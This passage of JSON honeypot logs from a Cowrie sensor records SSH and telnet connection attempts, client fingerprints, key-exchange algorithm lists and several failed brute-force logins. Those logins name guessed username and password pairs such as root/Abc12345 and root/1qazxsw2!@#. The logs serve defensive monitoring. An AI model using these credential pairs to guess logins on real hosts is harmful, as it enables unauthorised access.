-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.511362Z","src_ip":"45.153.34.114","session":"d51d907269c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16798496246338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.551071Z","src_ip":"74.91.213.120","session":"4b4fa166be91","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"fucke","message":"login attempt [user/fucke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.707527Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:28.773874Z","src_ip":"45.153.34.114","session":"d51d907269c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:29.814549Z","src_ip":"2.57.121.25","session":"fe010c23f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:29.859498Z","src_ip":"45.153.34.114","session":"d51d907269c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.159590482711792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:29.975358Z","src_ip":"74.91.213.120","session":"a31184e5fca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139257431030273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:31.104843Z","src_ip":"74.91.213.120","session":"23d050ed39b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52490,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d752ae8cd8","protocol":"telnet","message":"New connection: 74.91.213.120:52490 (159.203.135.109:23) [session: 78d752ae8cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:32.069386Z"}
{"eventid":"cowrie.session.closed","duration":30.23907780647278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:34.192678Z","src_ip":"74.91.213.120","session":"90a8b46b1228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47218,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f8b9363fa02","protocol":"ssh","message":"New connection: 45.153.34.114:47218 (159.203.135.109:22) [session: 3f8b9363fa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:35.945998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:35.951411Z","src_ip":"45.153.34.114","session":"3f8b9363fa02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:36.040194Z","src_ip":"45.153.34.114","session":"3f8b9363fa02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:36.387479Z","src_ip":"45.153.34.114","session":"3f8b9363fa02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:37.473202Z","src_ip":"45.153.34.114","session":"3f8b9363fa02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42880,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfcb6e39bda7","protocol":"ssh","message":"New connection: 45.153.34.114:42880 (159.203.135.109:22) [session: bfcb6e39bda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:43.721436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:43.729235Z","src_ip":"45.153.34.114","session":"bfcb6e39bda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:43.808590Z","src_ip":"45.153.34.114","session":"bfcb6e39bda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:44.152913Z","src_ip":"45.153.34.114","session":"bfcb6e39bda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":37036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e704763b1780","protocol":"telnet","message":"New connection: 74.91.213.120:37036 (159.203.135.109:23) [session: e704763b1780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:44.404701Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.241186Z","src_ip":"45.153.34.114","session":"bfcb6e39bda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.917850732803345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.262739Z","src_ip":"74.91.213.120","session":"8b1dcfadcf1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15588355064392,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.651421Z","src_ip":"74.91.213.120","session":"810dcfbfe8f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":55048,"dst_ip":"159.203.135.109","dst_port":22,"session":"08c524e2b594","protocol":"ssh","message":"New connection: 45.61.187.220:55048 (159.203.135.109:22) [session: 08c524e2b594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.771644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.780521Z","src_ip":"45.61.187.220","session":"08c524e2b594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:45.825614Z","src_ip":"45.61.187.220","session":"08c524e2b594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!@#","message":"login attempt [root/1qazxsw2!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:46.001083Z","src_ip":"45.61.187.220","session":"08c524e2b594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:47.051352Z","src_ip":"45.61.187.220","session":"08c524e2b594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":47026,"dst_ip":"159.203.135.109","dst_port":22,"session":"e644d8307d29","protocol":"ssh","message":"New connection: 185.153.231.45:47026 (159.203.135.109:22) [session: e644d8307d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:48.844059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:48.848980Z","src_ip":"185.153.231.45","session":"e644d8307d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:48.977268Z","src_ip":"185.153.231.45","session":"e644d8307d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51688,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebfd0cd12384","protocol":"telnet","message":"New connection: 74.91.213.120:51688 (159.203.135.109:23) [session: ebfd0cd12384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:49.209533Z"}
{"eventid":"cowrie.session.closed","duration":31.164791584014893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:49.340560Z","src_ip":"74.91.213.120","session":"92bd54c4ba77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Admin","message":"login attempt [root/123Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:49.524898Z","src_ip":"185.153.231.45","session":"e644d8307d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51702,"dst_ip":"159.203.135.109","dst_port":23,"session":"a076a5ce23fe","protocol":"telnet","message":"New connection: 74.91.213.120:51702 (159.203.135.109:23) [session: a076a5ce23fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:50.211083Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:50.655940Z","src_ip":"185.153.231.45","session":"e644d8307d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b193267be84","protocol":"telnet","message":"New connection: 74.91.213.120:51706 (159.203.135.109:23) [session: 4b193267be84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:50.875698Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58276,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6297b9a170d","protocol":"ssh","message":"New connection: 45.153.34.114:58276 (159.203.135.109:22) [session: f6297b9a170d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:51.533378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:51.543019Z","src_ip":"45.153.34.114","session":"f6297b9a170d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:51.631948Z","src_ip":"45.153.34.114","session":"f6297b9a170d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:51.893713Z","src_ip":"45.153.34.114","session":"f6297b9a170d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:52.989456Z","src_ip":"45.153.34.114","session":"f6297b9a170d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":20626,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bca50c9ec80","protocol":"ssh","message":"New connection: 175.107.32.186:20626 (10.17.0.5:22) [session: 8bca50c9ec80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:53.832253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:53.836667Z","src_ip":"175.107.32.186","session":"8bca50c9ec80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:54.061548Z","src_ip":"175.107.32.186","session":"8bca50c9ec80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clayton","message":"login attempt [root/clayton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:54.994247Z","src_ip":"175.107.32.186","session":"8bca50c9ec80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49213933944702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:55.994297Z","src_ip":"74.91.213.120","session":"0f00192ce7ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:56.222736Z","src_ip":"175.107.32.186","session":"8bca50c9ec80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":33540,"dst_ip":"159.203.135.109","dst_port":22,"session":"755078da5dfb","protocol":"ssh","message":"New connection: 107.0.200.227:33540 (159.203.135.109:22) [session: 755078da5dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:58.538592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:58.543289Z","src_ip":"107.0.200.227","session":"755078da5dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:58.578228Z","src_ip":"107.0.200.227","session":"755078da5dfb","protocol":"ssh"}
